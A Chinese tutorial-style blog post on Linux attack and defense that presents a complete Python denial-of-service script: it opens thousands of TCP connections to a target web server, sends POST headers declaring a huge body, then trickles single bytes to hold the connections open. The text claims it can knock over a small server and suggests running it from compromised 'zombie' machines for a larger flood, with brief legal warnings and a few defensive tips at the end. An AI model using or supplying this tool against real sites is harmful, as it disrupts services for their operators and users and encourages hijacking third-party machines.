Linux攻防(二)——python实现dos攻击

DoS是Denial of Service的简称,即拒绝服务,造成DoS的攻击行为被称为DoS攻击,其目的是使计算机或网络无法提供正常的服务。最常见的DoS攻击有计算机网络宽带攻击和连通性攻击。

DoS攻击是指故意的攻击网络协议实现的缺陷或直接通过野蛮手段残忍地耗尽被攻击对象的资源,目的是让目标计算机或网络无法提供正常的服务或资源访问,使目标系统服务系统停止响应甚至崩溃,而在此攻击中并不包括侵入目标服务器或目标网络设备。这些服务资源包括网络带宽,文件系统空间容量,开放的进程或者允许的连接。这种攻击会导致资源的匮乏,无论计算机的处理速度多快、内存容量多大、网络带宽的速度多快都无法避免这种攻击带来的后果。

(以上摘自百度百科)

一连串的socket连接,普通的服务器一会立马完蛋。(此行为违反法律!!!!)

以下代码仅供参考,不要危害合法的网站。

import socket

import time

import threading

#Pressure Test,ddos tool

#---------------------------

MAX_CONN=20000

PORT=80

HOST="目标域名"

PAGE="/index.php"

#---------------------------

buf=("POST %s HTTP/1.1\r\n"

"Host: %s\r\n"

"Content-Length: 10000000\r\n"

"Cookie: dklkt_dos_test\r\n"

"\r\n" % (PAGE,HOST))

socks=[]

def conn_thread():

global socks

for i in range(0,MAX_CONN):

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

try:

s.connect((HOST,PORT))

s.send(buf.encode())

print ("Send buf OK!,conn=%d\n"%i)

socks.append(s)

except Exception as ex:

print ("Could not connect to server or send error:%s"%ex)

time.sleep(10)

#end def

def send_thread():

global socks

while True:

for s in socks:

try:

s.send("f".encode())

#print "send OK!" except Exception as ex:

print ("Send Exception:%s\n"%ex)

socks.remove(s)

s.close()

time.sleep(1)

#end def

conn_th=threading.Thread(target=conn_thread,args=())

send_th=threading.Thread(target=send_thread,args=())

conn_th.start()

send_th.start()

注意,如果你的python版本为2.x,你的try except语句和3.x版本是不一样的,详情请自己百度。print语句也是不一样的,详情请百度。(本人版本3.7)

该程序可以攻击单核2G内存1Mbps的服务器,如果你电脑性能好,可以多线程发动dos攻击。

你也可以入侵多个性能好,网速快的肉鸡,执行本代码,实现洪范式攻击。(此行为犯法!!!!)

下面说一下防范措施,dos攻击和普通用户访问无法分别,所以你发现入侵者的IP之后,可以在本地安全策略组里面对该ip进行屏蔽。

目前最好的防范措施是隐藏主机的真实IP,用高仿IP把dos攻击引流至其他服务器。

安装防火墙等安全设备过滤DoS攻击,同时强烈建议网络管理员应当定期查看安全设备的日志,及时发现对系统的安全威胁行为。

最后实在没办法可以寻求专业安全公司接管。